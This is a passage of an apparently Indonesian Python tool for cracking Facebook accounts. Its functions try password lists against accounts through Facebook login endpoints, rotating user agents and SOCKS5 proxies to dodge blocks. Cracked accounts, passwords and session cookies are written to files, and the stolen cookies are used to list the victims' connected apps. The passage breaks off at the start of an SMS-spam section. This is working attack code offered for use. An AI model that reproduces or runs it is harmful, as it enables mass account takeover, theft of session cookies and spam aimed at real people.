  1665.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1666.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1667.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1668.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1669.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1670.                     cetak(CYXID)
  1671.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1672.                     cek_apk(kuki)
  1673.                     break      
  1674.                
  1675.             else:
  1676.                 continue
  1677.         except requests.exceptions.ConnectionError:
  1678.             time.sleep(31)
  1679.     loop+=1
  1680.    
  1681. def metod11(idf,pwv):
  1682.     global loop,ok,cp
  1683.     prog.update(des,description=f"[bold green]graph.facebook.com[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1684.     prog.advance(des)
  1685.     ua = random.choice(ugen)
  1686.     ua2 = random.choice(ugen2)
  1687.     ses = requests.Session()
  1688.     for pw in pwv:
  1689.         try:
  1690.             if 'ya' in ualuh: ua = ualu[0]
  1691.             nip=random.choice(prox)
  1692.             proxs= {'http': 'socks5://'+nip}
  1693.             params = {
  1694.                 "access_token": "200424423651082|2a9918c6bcd75b94cefcbb5635c6ad16",
  1695.                 "sdk_version": {random.randint(1,26)},
  1696.                 "email": idf,
  1697.                 "locale": "en_US",
  1698.                 "password": pw,
  1699.                 "sdk": "android",
  1700.                 "generate_session_cookies": "1",
  1701.                 "sig": "4f648f21fb58fcd2aa1c65f35f441ef5"
  1702.             }
  1703.             headers = {
  1704.                 "Host": "graph.facebook.com",
  1705.                 "x-fb-connection-bandwidth": str(random.randint(20000000, 30000000)),
  1706.                 "x-fb-sim-hni": str(random.randint(20000, 40000)),
  1707.                 "x-fb-net-hni": str(random.randint(20000, 40000)),
  1708.                 "x-fb-connection-quality": "EXCELLENT",
  1709.                 "user-agent": ua,
  1710.                 "content-type": "application/x-www-form-urlencoded",
  1711.                 "x-fb-http-engine": "Liger"
  1712.             }
  1713.             post = ses.post("https://graph.facebook.com/auth/login",params=params, headers=headers, allow_redirects=False)
  1714.             if "User must verify their account" in post.text:
  1715.                 if 'no' in gabriel:
  1716.                     cp+=1
  1717.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1718.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1719.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1720.                     cetak(CYXID)
  1721.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1722.                     akun.append(idf+'|'+pw)
  1723.                     break
  1724.                    
  1725.                 if 'no' in gabriel:
  1726.                     cp+=1
  1727.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1728.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1729.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1730.                     cetak(CYXID)
  1731.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1732.                     akun.append(idf+'|'+pw)
  1733.                     ceker(idf,pw)
  1734.                     break
  1735.             elif "session_key" in post.text and "EAA" in post.text:
  1736.                 if 'no' in taplikasi:
  1737.                     ok+=1
  1738.                     coki=po.cookies.get_dict()
  1739.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1740.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1741.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1742.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1743.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1744.                     cetak(CYXID)
  1745.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1746.                     break
  1747.                 elif 'ya' in taplikasi:
  1748.                     ok+=1
  1749.                     coki=po.cookies.get_dict()
  1750.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1751.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1752.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1753.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1754.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1755.                     cetak(CYXID)
  1756.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1757.                     cek_apk(kuki)
  1758.                     break      
  1759.                
  1760.             else:
  1761.                 continue
  1762.         except requests.exceptions.ConnectionError:
  1763.             time.sleep(31)
  1764.     loop+=1        
  1765.    
  1766. def metod12(idf,pwv):
  1767.     global loop,ok,cp
  1768.     prog.update(des,description=f"[bold green]d.facebook.com[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1769.     prog.advance(des)
  1770.     ua = random.choice(ugen)
  1771.     ua2 = random.choice(ugen2)
  1772.     ses = requests.Session()
  1773.     for pw in pwv:
  1774.         try:
  1775.             if 'ya' in ualuh: ua = ualu[0]
  1776.             nip=random.choice(prox)
  1777.             proxs= {'http': 'socks5://'+nip}
  1778.             ses.headers.update({'Host': 'd.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1779.             p = ses.get('https://d.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  1780.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://d.facebook.com/login.php?skip_api_login=1&api_key=166363243399924&kid_directed_site=0&app_id=166363243399924&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fclient_id%3D166363243399924%26display%3Dpopup%26redirect_uri%3Dhttps%253A%252F%252Fthirdparty.aliexpress.com%252Ffbcallback.htm%26scope%3Demail%252Cpublic_profile%252Cuser_messenger_contact%26messenger_page_id%3D335963307560%26state%3DR48laUVd0rPWsRvHJFTKtTS5cFr8ZG%252BCRYABU4qVvPvRK37pQK5uQWiFs93IY9a1y%252BXsxIsvOY60q78FjJ9ECtWPR1L4b%252B1AZ1XMmotKnilXlAe8Md1jf1VZ61FtHvT%252F%252F6UBc1gqUwQEVwfai3Ztnal%252F%252FfWiuwJ31qY%252FAoUvvPzJa%252BA66Ywk8nnPqNBdXBi6%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D7720cbb3-6ccb-48be-8820-8775c6c7b67d%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fthirdparty.aliexpress.com%2Ffbcallback.htm%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DR48laUVd0rPWsRvHJFTKtTS5cFr8ZG%252BCRYABU4qVvPvRK37pQK5uQWiFs93IY9a1y%252BXsxIsvOY60q78FjJ9ECtWPR1L4b%252B1AZ1XMmotKnilXlAe8Md1jf1VZ61FtHvT%252F%252F6UBc1gqUwQEVwfai3Ztnal%252F%252FfWiuwJ31qY%252FAoUvvPzJa%252BA66Ywk8nnPqNBdXBi6%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr","flow":"login_no_pin","pass":pw,}
  1781.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1782.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1783.             heade={'Host': 'd.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  1784.             po = ses.post('https://d.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1785.             if "checkpoint" in po.cookies.get_dict().keys():
  1786.                 if 'no' in gabriel:
  1787.                     cp+=1
  1788.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1789.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1790.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1791.                     cetak(CYXID)
  1792.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1793.                     akun.append(idf+'|'+pw)
  1794.                     break
  1795.                    
  1796.                 if 'no' in gabriel:
  1797.                     cp+=1
  1798.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1799.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1800.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1801.                     cetak(CYXID)
  1802.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1803.                     akun.append(idf+'|'+pw)
  1804.                     ceker(idf,pw)
  1805.                     break
  1806.             elif "c_user" in ses.cookies.get_dict().keys():
  1807.                 if 'no' in taplikasi:
  1808.                     ok+=1
  1809.                     coki=po.cookies.get_dict()
  1810.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1811.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1812.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1813.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1814.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1815.                     cetak(CYXID)
  1816.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1817.                     break
  1818.                 elif 'ya' in taplikasi:
  1819.                     ok+=1
  1820.                     coki=po.cookies.get_dict()
  1821.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1822.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1823.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1824.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1825.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1826.                     cetak(CYXID)
  1827.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1828.                     cek_apk(kuki)
  1829.                     break      
  1830.                
  1831.             else:
  1832.                 continue
  1833.         except requests.exceptions.ConnectionError:
  1834.             time.sleep(31)
  1835.     loop+=1
  1836.    
  1837. def metod12(idf,pwv):
  1838.     global loop,ok,cp
  1839.     prog.update(des,description=f"[bold green]m.alpha.facebook.com[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1840.     prog.advance(des)
  1841.     ua = random.choice(ugen)
  1842.     ua2 = random.choice(ugen2)
  1843.     ses = requests.Session()
  1844.     for pw in pwv:
  1845.         try:
  1846.             if 'ya' in ualuh: ua = ualu[0]
  1847.             nip=random.choice(prox)
  1848.             proxs= {'http': 'socks5://'+nip}
  1849.             ses.headers.update({"Host": "m.alpha.facebook.com","cache-control": "max-age=0","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","sec-ch-ua": '" Not A;Brand";v="99", "Chromium";v="104"',"sec-ch-ua-mobile": "?1","sec-fetch-site": "same-origin","sec-fetch-mode": "cors","sec-fetch-dest": "empty","sec-fetch-user": "?1","upgrade-insecure-requests": "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
  1850.             p = ses.get("https://m.alpha.facebook.com/login.php?skip_api_login=1&api_key=274266067164&kid_directed_site=0&app_id=274266067164&signed_next=1&next=https%3A%2F%2Fm.alpha.facebook.com%2Fv2.7%2Fdialog%2Foauth%3Fapp_id%3D274266067164%26cbt%3D1675237736936%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df33eeedf0d23c74%2526domain%253Did.pinterest.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fid.pinterest.com%25252Ff4c01e9564da44%2526relation%253Dopener%26client_id%3D274266067164%26display%3Dtouch%26domain%3Did.pinterest.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fid.pinterest.com%252Flogin%26locale%3Did_ID%26logger_id%3Df27fa04cd920e98%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df96f44d15f7ea8%2526domain%253Did.pinterest.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fid.pinterest.com%25252Ff4c01e9564da44%2526relation%253Dopener%2526frame%253Df7efd9d84b96a8%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26scope%3Dpublic_profile%252Cemail%252Cuser_birthday%252Cuser_friends%26sdk%3Djoey%26version%3Dv2.7%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df96f44d15f7ea8%26domain%3Did.pinterest.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fid.pinterest.com%252Ff4c01e9564da44%26relation%3Dopener%26frame%3Df7efd9d84b96a8%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  1851.             dataa ={'lsd': re.search('name="lsd" value="(.*?)"',str(p.text)).group(1), 'jazoest': re.search('name="jazoest" value="(.*?)"',str(p.text)).group(1), 'm_ts': re.search('name="m_ts" value="(.*?)"',str(p.text)).group(1), 'li': re.search('name="li" value="(.*?)"',str(p.text)).group(1), 'try_number': '0', 'unrecognized_tries': '0', 'email': idf, 'pass': pw, 'prefill_contact_point': '', 'prefill_source': '', 'prefill_type': '', 'first_prefill_source': '', 'first_prefill_type': '', 'had_cp_prefilled': 'false', 'had_password_prefilled': 'false', 'is_smart_lock': 'false', 'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(p.text)).group(1)}
  1852.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1853.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1854.             heade={
  1855.             "Host": "m.alpha.facebook.com",
  1856.             "content-length": f"{len(str(dataa))}",
  1857.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(p.text)).group(1),
  1858.             "origin": "https://m.alpha.facebook.com",
  1859.             "content-type": "application/x-www-form-urlencoded",
  1860.             "user-agent": ua,
  1861.             "accept": "*/*",
  1862.             "x-requested-with": "com.microsoft.bing",
  1863.             "sec-ch-ua": '"Chromium";v="106", "Google Chrome";v="106", "Not;A=Brand";v="99"',
  1864.             "sec-ch-ua-platform": '"Android"',
  1865.             "sec-ch-ua-mobile": "?1",
  1866.             "sec-fetch-site": "same-origin",
  1867.             "sec-fetch-mode": "cors",
  1868.             "sec-fetch-dest": "empty",
  1869.             "sec-fetch-user": "?1",
  1870.             "referer": "https://m.alpha.facebook.com/v2.7/dialog/oauth?app_id=274266067164&cbt=1675237736936&channel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df33eeedf0d23c74%26domain%3Did.pinterest.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fid.pinterest.com%252Ff4c01e9564da44%26relation%3Dopener&client_id=274266067164&display=touch&domain=id.pinterest.com&e2e=%7B%7D&fallback_redirect_uri=https%3A%2F%2Fid.pinterest.com%2Flogin&locale=id_ID&logger_id=f27fa04cd920e98&origin=2&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df96f44d15f7ea8%26domain%3Did.pinterest.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fid.pinterest.com%252Ff4c01e9564da44%26relation%3Dopener%26frame%3Df7efd9d84b96a8&response_type=token%2Csigned_request%2Cgraph_domain&scope=public_profile%2Cemail%2Cuser_birthday%2Cuser_friends&sdk=joey&version=v2.7&ret=login&fbapp_pres=0&tp=unspecified",
  1871.             "accept-encoding": "gzip, deflate br",
  1872.             "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
  1873.             }
  1874.             po = ses.post('https://m.alpha.facebook.com/login/device-based/login/async/?refsrc=deprecated&lwv=100',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1875.             if "checkpoint" in po.cookies.get_dict().keys():
  1876.                 if 'no' in gabriel:
  1877.                     cp+=1
  1878.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1879.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1880.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1881.                     cetak(CYXID)
  1882.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1883.                     akun.append(idf+'|'+pw)
  1884.                     break
  1885.                    
  1886.                 if 'no' in gabriel:
  1887.                     cp+=1
  1888.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1889.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1890.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1891.                     cetak(CYXID)
  1892.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1893.                     akun.append(idf+'|'+pw)
  1894.                     ceker(idf,pw)
  1895.                     break
  1896.             elif "c_user" in ses.cookies.get_dict().keys():
  1897.                 if 'no' in taplikasi:
  1898.                     ok+=1
  1899.                     coki=po.cookies.get_dict()
  1900.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1901.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1902.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1903.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1904.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1905.                     cetak(CYXID)
  1906.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1907.                     break
  1908.                 elif 'ya' in taplikasi:
  1909.                     ok+=1
  1910.                     coki=po.cookies.get_dict()
  1911.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1912.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1913.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1914.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1915.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1916.                     cetak(CYXID)
  1917.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1918.                     cek_apk(kuki)
  1919.                     break      
  1920.                
  1921.             else:
  1922.                 continue
  1923.         except requests.exceptions.ConnectionError:
  1924.             time.sleep(31)
  1925.     loop+=1
  1926.    
  1927. #-----------------------[ CEK APLIKASI ]--------------------#
  1928. def cek_apk(kuki):
  1929.     session = requests.Session()
  1930.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":"noscript=1;"+kuki}).text
  1931.     sop = bs4.BeautifulSoup(w,"html.parser")
  1932.     x = sop.find("form",method="post")
  1933.     game = [i.text for i in x.find_all("h3")]
  1934.     try:
  1935.         for i in range(len(game)):
  1936.             print ("\r%s  \033[0m              ☕ %s%s"%(P,H,game[i].replace("Ditambahkan pada"," Ditambahkan pada")))
  1937.     except AttributeError:
  1938.         print ("\r    %s\033[0m cookie invalid"%(M))
  1939.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":"noscript=1;"+kuki}).text
  1940.     sop = bs4.BeautifulSoup(w,"html.parser")
  1941.     x = sop.find("form",method="post")
  1942.     game = [i.text for i in x.find_all("h3")]
  1943.     try:
  1944.         for i in range(len(game)):
  1945.             print ("\r%s  \033[0m              🚬 %s"%(P,game[i].replace("Kedaluwarsa"," Kedaluwarsa")))
  1946.     except AttributeError:
  1947.         print ("\r    %s \033[0mcookie invalid"%(M))
  1948.  
  1949. def ceker(idf,pw):
  1950.     try:
  1951.         ml = random.choice(['mbasic','free'])
  1952.         h2 = {'host':'{ml}.facebook.com','accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','accept-encoding':'gzip, deflate','accept-language':'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7','cache-control':'max-age=0','origin':'https://www.facebook.com','referer':'https://www.facebook.com','sec-ch-ua':'" Not A;Brand";v="99", "Chromium";v="101"','upgrade-insecure-requests':'1','user-agent': ua}
  1953.         res = ses.get(f'https://{ml}.facebook.com/login/device-based/password/?uid={idf}&flow=login_no_pin&refsrc=deprecated&_rdr',headers=h2).text
  1954.         ress = parser(res, 'html.parser')
  1955.         form = ress.find('form',{'method':'post'})
  1956.         data2 = {x.get('name'):x.get('value') for x in form.find_all('input',{'type':['submit','hidden']})}
  1957.         data2.update({
  1958.                     'email':idf,
  1959.                     'pass':pw})
  1960.         res = ses.post('https://{ml}.facebook.com'+form.get('action'),data=data2,headers=h2).text
  1961.         ress = parser(res, 'html.parser')
  1962.         if 'Lihat detail login yang ditampilkan. Ini Anda?' in str(ress.find('title').text):
  1963.             akun += f' [+] Akun Tap Yess Cek Di Mbasic                   '
  1964.         else:
  1965.             if(len(sesi(res))==0):
  1966.                 if 'Masukkan Kode Masuk untuk Melanjutkan' in str(ress.find('title').text):
  1967.                     akun += f' [+] Akun Terpasang A2F                    '
  1968.                 else:
  1969.                     akun += f' [+] Akun Tidak Checkpoint Cek Di Mbasic                  '
  1970.             else:
  1971.                 akun += f' [+] Terdapat {len(opsi)} Opsi Checkpoint :                     '
  1972.                 o = 0
  1973.                 for cp in opsi:
  1974.                     o+=1
  1975.                     akun += f' [+] {cp}               '
  1976.         opsi.clear()
  1977.     except Exception as e:
  1978.         akun += f' [+] Kata Sandi Salah Kemungkinan Anda Terkena Spam Ip                  '
  1979.     print(akun)    
  1980.  
  1981. #------------------[ DEFF SPAM SMS ]-------------------#
  1982.  
  1983. agent = random.choice(
  1984.         [
  1985.             "Mozilla/5.0 (Linux; Android 6.0.1; SM-J500M Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36",
  1986.             "Mozilla/5.0 (Linux; Android 5.0; SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36",
  1987.             "Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4X Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36",
  1988.             "Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36"
  1989.             "Mozilla/5.0 (Linux; Android 10; SM-A305F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
  1990.     ]
  1991. )
  1992.  
  1993. def process_data1():
  1994.     sleep(0.10)
  1995.    
  1996. def spam_sms():
  1997.     global nomor
